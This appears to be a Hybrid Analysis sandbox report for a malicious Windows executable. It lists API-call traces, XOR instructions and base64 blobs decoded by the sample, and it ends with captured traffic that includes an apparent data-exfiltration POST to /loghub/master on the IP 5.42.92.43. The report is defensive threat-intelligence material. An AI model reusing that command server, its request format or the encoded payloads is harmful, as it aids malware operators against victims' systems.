24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 87:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T483,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Malware Sample f20a33cd4857… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample f20a33cd4857…. Malware family: Malware. Threat score 100/100. 6/28 AV engines flagged this file. 18 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/f20a33cd4857d8363fc423ca3ce74f43d5a22f4abc3993a0c1b8b31db6771b0d","keywords":["Malicious","Malware","malware analysis","sandbox report","threat intelligence","f20a33cd4857d8363fc423ca3ce74f43d5a22f4abc3993a0c1b8b31db6771b0d"],"about":{"@type":"SoftwareApplication","name":"fa951d632a6b1c8efb577fc5b43a64b5.exe","applicationCategory":["peexe","executable"],"identifier":"f20a33cd4857d8363fc423ca3ce74f43d5a22f4abc3993a0c1b8b31db6771b0d","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Malware","antivirusDetections":{"malicious":6,"total":28},"behavioralIndicators":{"malicious":18,"suspicious":23},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T4c6,"fa951d632a6b1c8efb577fc5b43a64b5.exe" called "FindResourceA" with parameter "987848" - (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "FindResourceA" with parameter "987856" - (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "FindResourceA" with parameter "987884" - (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "FindResourceA" with parameter "987980" - (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "FindResourceA" with parameter "3470896" - (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "FindResourceA" with parameter "987896" - (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "FindResourceA" with parameter "987912" - (UID: 00000000-00003396) "Ia3cO08.exe" called "FindResourceA" with parameter "522476" - (UID: 00000000-00004012) "Ia3cO08.exe" called "FindResourceA" with parameter "11145928" - (UID: 00000000-00004012) "Ia3cO08.exe" called "FindResourceA" with parameter "11145936" - (UID: 00000000-00004012) "Ia3cO08.exe" called "FindResourceA" with parameter "11145964" - (UID: 00000000-00004012) "Ia3cO08.exe" called "FindResourceA" (UID: 00000000-00004012)26:Taba,"fa951d632a6b1c8efb577fc5b43a64b5.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1034320'}" (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1034352'}" (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1034336'}" (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1034208'}" (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1034304'}" (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1034256'}" (UID: 00000000-00003396) "Ia3cO08.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '11192400'}" (UID: 00000000-00004012) "Ia3cO08.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '11192432'}" (UID: 00000000-00004012) "Ia3cO08.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '11192416'}" (UID: 00000000-00004012) "Ia3cO08.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '11192384'}" (UID: 00000000-00004012) "Ia3cO08.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '11192336'}" (UID: 00000000-00004012) "QX6jY18.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '11454544'}" (UID: 00000000-00003072) "QX6jY18.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '11454576'}" (UID: 00000000-00003072) "QX6jY18.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '11454560'}" (UID: 00000000-00003072) "QX6jY18.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '11454528'}" (UID: 00000000-00003072) "QX6jY18.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '11454480'}" (UID: 00000000-00003072) "Qb7Pk11.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '9029712'}" (UID: 00000000-00003344) "Qb7Pk11.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '9029744'}" (UID: 00000000-00003344) "Qb7Pk11.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '9029728'}" (UID: 00000000-00003344) "Qb7Pk11.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '9029696'}" (UID: 00000000-00003344) "Qb7Pk11.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '9029648'}" (UID: 00000000-00003344) "AppLaunch.exe" called "LoadResource with parameter {'hModule': '1730543616', 'hResInfo': '1731584376'}" (UID: 00000000-00003376)27:T6a1,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "8Ui694dn.exe.2191842284") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00002516.00000000.68589.00FD1000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00002516.00000000.68589.00FD9000.00000004.mdmp, 00000000-00002516.00000001.68626.00FD9000.00000004.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00002772.00000000.69547.00EF1000.00000002.mdmp, 00000000-00002772.00000002.72803.00EF1000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp")28:T434,Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") file/memory contains long string with (Indicator: "OpenProcessToken"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp")29:T43c,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00002516.00000000.68589.00FD9000.00000004.mdmp, 00000000-00002516.00000001.68626.00FD9000.00000004.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00002516.00000000.68589.00FD9000.00000004.mdmp, 00000000-00002516.00000001.68626.00FD9000.00000004.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00002516.00000000.68589.00FD9000.00000004.mdmp, 00000000-00002516.00000001.68626.00FD9000.00000004.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp")2a:T9d0,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "8Ui694dn.exe.2191842284") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00002516.00000000.68589.00FD1000.00000002.mdmp, 00000000-00002516.00000000.68589.00FD9000.00000004.mdmp, 00000000-00002516.00000001.68626.00FD9000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002516.00000000.68589.00FD1000.00000002.mdmp, 00000000-00002516.00000000.68589.00FD9000.00000004.mdmp, 00000000-00002516.00000001.68626.00FD9000.00000004.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00002772.00000000.69547.00EF1000.00000002.mdmp, 00000000-00002772.00000002.72803.00EF1000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002772.00000000.69547.00EF1000.00000002.mdmp, 00000000-00002772.00000002.72803.00EF1000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp")2b:T76a,Found reference to "MSCF2Wqh disallowedcert.stl|f~3"{-UAV>F :n;lpd`() hvnf|T#&6%&WSHS9*}9yZ@F+/vU|Usr #k#NK-c0ROmX6VG55:x"3`CM:k^nLuSvMxfx4qM?{i%CVl\tP-`}v?@s)?hRQ>jB@H4-" (Indicator: "Oid"; File: "57C8EDB95DF3F0AD4EE2DC2B8CFD4157") file/memory contains long string with (Indicator: "Aes"; File: "SSL") Found reference to "AesGcm256" (Indicator: "Aes"; File: "00003376.00000D30.52092998.00402000.wprm") Found reference to "AesGcm256" (Indicator: "AesGcm"; File: "00003376.00000D30.52092998.00402000.wprm") Found reference to "AesFastEngine" (Indicator: "Aes"; File: "00003376.00000D30.52092998.00402000.wprm") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; File: "00003376.00000D30.52092998.00402000.wprm") Found reference to "MD5CryptoServiceProvider" (Indicator: "MD5CryptoServiceProvider"; File: "00003376.00000D30.52092998.00402000.wprm") Found reference to "AesGcm256" (Indicator: "Aes"; Source: "00000000-00002772.00000001.71465.00EF9000.00000004.mdmp, 00000000-00002772.00000002.72803.00EF9000.00000004.mdmp") Found reference to "AesGcm256" (Indicator: "AesGcm"; Source: "00000000-00002772.00000001.71465.00EF9000.00000004.mdmp, 00000000-00002772.00000002.72803.00EF9000.00000004.mdmp") Found reference to "AesFastEngine" (Indicator: "Aes"; Source: "00000000-00002772.00000001.71465.00EF9000.00000004.mdmp, 00000000-00002772.00000002.72803.00EF9000.00000004.mdmp") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00002772.00000001.71465.00EF9000.00000004.mdmp, 00000000-00002772.00000002.72803.00EF9000.00000004.mdmp") Found reference to "MD5CryptoServiceProvider" (Indicator: "MD5CryptoServiceProvider"; Source: "00000000-00002772.00000001.71465.00EF9000.00000004.mdmp, 00000000-00002772.00000002.72803.00EF9000.00000004.mdmp")2c:Td30,"AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "shUfxBHlEuCTp4WSEdWGy0jNFMk1r4o5piEpxTmTeDjZfHOoY4B2jOCJ9eU=" "cchString": "60" "dwFlags": "1" "pcbBinary": "2c000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "shUfxBHlEuCTp4WSEdWGy0jNFMk1r4o5piEpxTmTeDjZfHOoY4B2jOCJ9eU=" "cchString": "60" "dwFlags": "1" "pbBinary": "b2151fc411e512e093a7859211d586cb48cd14c935af8a39a62129c539937838d97c73a86380768ce089f5e5" "pcbBinary": "2c000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "h0g4nEcP/nbemjgOF28/I5EFilsyLII3Rr1fl5GblZr8RTK8Zy/eVKi4Ai4jQzIpsSWqexBf5xV8nSvl5P65l41oGLxnLZ8S/KAYaHYDTEa9CIB7EgyiFSPFfa2xwJiQp2gYvGcvhXvUuhguN08fA7En7zUQFqIVI9c99v359PHoOFT/L2OZHrv5XG97AlpG9GTgNVtB6lpkkVKdsbu1uqdoGLxlaoRU5LoaQ3IbXm7wduF5PyaiF2adf7fst5iQp2gY" "cchString": "16956" "dwFlags": "1" "pcbBinary": "ab310000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "h0g4nEcP/nbemjgOF28/I5EFilsyLII3Rr1fl5GblZr8RTK8Zy/eVKi4Ai4jQzIpsSWqexBf5xV8nSvl5P65l41oGLxnLZ8S/KAYaHYDTEa9CIB7EgyiFSPFfa2xwJiQp2gYvGcvhXvUuhguN08fA7En7zUQFqIVI9c99v359PHoOFT/L2OZHrv5XG97AlpG9GTgNVtB6lpkkVKdsbu1uqdoGLxlaoRU5LoaQ3IbXm7wduF5PyaiF2adf7fst5iQp2gY" "cchString": "16956" "dwFlags": "1" "pbBinary": "8748389c470ffe76de9a380e176f3f2391058a5b322c823746bd5f97919b959afc4532bc672fde54a8b8022e23433229b125aa7b105fe7157c9d2be5e4feb9978d6818bc672d9f12fca0186876034c46bd08807b120ca21523c57dadb1c09890a76818bc672f857bd4ba182e374f1f03b127ef351016a21523d73df6fdf9f4f1e83854ff2f63991ebbf95c6f7b025a46f464e0355b41ea5a6491529db1bbb5baa76818bc656a8454e4ba1a43721b5e6ef076e1793f26a217669d7fb7ecb79890a76818bc672f857bd4ba182e374f1f03b127ef351016a21528d63dfef9fdf7ffe82f59f926609b1eb2ff5e607c005b41f463ed2b5547ec596491529db1bbb5baa76818bc656a8454e4ba1a43721b5e6ef076e1793f26a217669d7fb7ecb79890a76818bc672f857bd4ba182e374f1f03b127ef351016a21523da35fef5f1f7eae02451ff2f6b9d19b0fe5a6d750b5141f460fa2b5548f25f6491529db1bbb5baa76818bc656a8454e4ba1a5a651a4c57b152eb375e49f6154bb77fb7b1bbb5bafa643596672fde56feba43031d4f1f03b125aa7b120ee75964877fb5f8f9fbffed2c5ef62a629506bdf4547e720d544ffc6be1345743eb5f29db3af4b3b79890a76818bc672fde56fcff422c2d4f1d77e36ae4175b42e9154bb77fb7b1bbb5bafa643596672fde56feba43031d4f1f03b125aa7b120ee75964877fb5f7f5fff2ea2350f42a649c1cb5f1596c790b5c4dff6aed3a5543e55528d83af4b3b79890a76818bc672fde56fcff422c2d4f1d71fe6be335127be35b2ad82bb59c91b5baa76818bc3a23f37cfeba182e374f442e9b25aa7b120ca217669f3af9b3a1b5b8e1205af32f669317bbf65a617f1f5541f369ee385c4be15927cd31f3feffffeaa5643596672fde56feba182e350a4501ab25a8195b42e35925d87fd4f9fafcf4a71f59f02b6a8a54d390182e374f1f03ec298751120ca217669d249a9bbbb5baa76818bc672d9b18fca0182c71095141f469ec3f5d49eb582ed831fcfbf2f7f4ea295cf62e6a961cb6fb526c35433229b125aa7b120ca21764d825b5abbbb7c3e83a57f56502f456feba182e3712132e9b25aa7b120ca24c4bb77fb7b1bbb5baa7681af9292dc456fcf05a6a76005c4df46ce3325c41e8552cd138f6fdf3f6ffeb2f5af92d62901fbab814031d4f1f03b125aa7b120ee74d64877fb5dff2f3eefe6a3596672fde56feba45221a651f03b125aa7b49218817669d7fb7b1bbb5b8e2261aa6672d9f10bcf95a64670d4f45f061e6305f44ef542ad534f2f4f4f1f7e6255bfa2b6cdc5ad390182e374f1f03b125a83e480eb81764f03ee3f9b99890a76818bc672f835ad390182e374f1f03ea08807b120ca217669d7fb5f4f5b7a0a76a50f2216e901db0f55b6872005941f561ed385b46ec5a2ed339f9fafffbfb" "pcbBinary": "ab310000"}2d:T147e,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003072-24908-72-00AE18A3 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003072-24908-72-00AE18A3 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003072-24908-16-00AE44B9 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003072-24908-16-00AE44B9 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003072-24908-66-00AE2630 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003072-24908-66-00AE2630 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003072-24908-63-00AE5467 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003072-24908-63-00AE5467 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003072-24908-29-00AE52B6 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003072-24908-29-00AE52B6 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00003072-24908-83-00AE7155 Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00003072-24908-83-00AE7155 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00003072-24908-83-00AE7155 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00003072-24908-83-00AE7155 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00003072-24908-83-00AE7155 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003072-24908-42-00AE202A Assembly shows XOR instruction xor eax 01h in Stream UID: 00000000-00003072-24908-42-00AE202A Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003072-24908-42-00AE202A Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003072-24908-59-00AE621E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003072-24908-59-00AE621E Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00003072-24908-31-00AE2390 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00003072-24908-31-00AE2390 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003072-24908-52-00AE4EFD Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003072-24908-52-00AE4EFD Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003072-24908-43-00AE1AE8 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003072-24908-43-00AE1AE8 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003072-24908-73-00AE17EE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003072-24908-73-00AE17EE Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003072-24908-71-00AE2CAA Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003072-24908-71-00AE2CAA Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003072-24908-33-00AE2F1D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003072-24908-33-00AE2F1D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003072-24908-74-00AE36EE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003072-24908-74-00AE36EE Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003072-24908-22-00AE681F Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003072-24908-22-00AE681F Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00003072-24908-36-00AE3BA2 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00003072-24908-36-00AE3BA2 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003072-24908-77-00AE2773 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003072-24908-77-00AE2773 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003072-24908-78-00AE5C9E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003072-24908-78-00AE5C9E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003072-24908-15-00AE1F90 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003072-24908-15-00AE1F90 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003072-24908-37-00AE3FEF Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003072-24908-37-00AE3FEF Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003072-24908-40-00AE2267 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003072-24908-40-00AE2267 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003072-24908-57-00AE6298 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003072-24908-57-00AE6298 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003072-24908-62-00AE55A0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003072-24908-62-00AE55A0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003072-24908-65-00AE53A1 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003072-24908-65-00AE53A12e:T510c,Contains base64 string in header "POST" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=NaRqPfNbJd2IsgRfIEfIContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.43Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=NaRqPfNbJd2IsgRfIEfIContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.43Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=NaRqPfNbJd2IsgRfIEfIContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.43Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=NaRqPfNbJd2IsgRfIEfIContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.43Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=NaRqPfNbJd2IsgRfIEfIContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.43Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=NaRqPfNbJd2IsgRfIEfIContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.43Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=NaRqPfNbJd2IsgRfIEfIContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.43Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "43Connection" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=NaRqPfNbJd2IsgRfIEfIContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.43Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=NaRqPfNbJd2IsgRfIEfIContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.43Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "2FUsCEHe9DWzbNvka6iEPxPBY0w0" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: 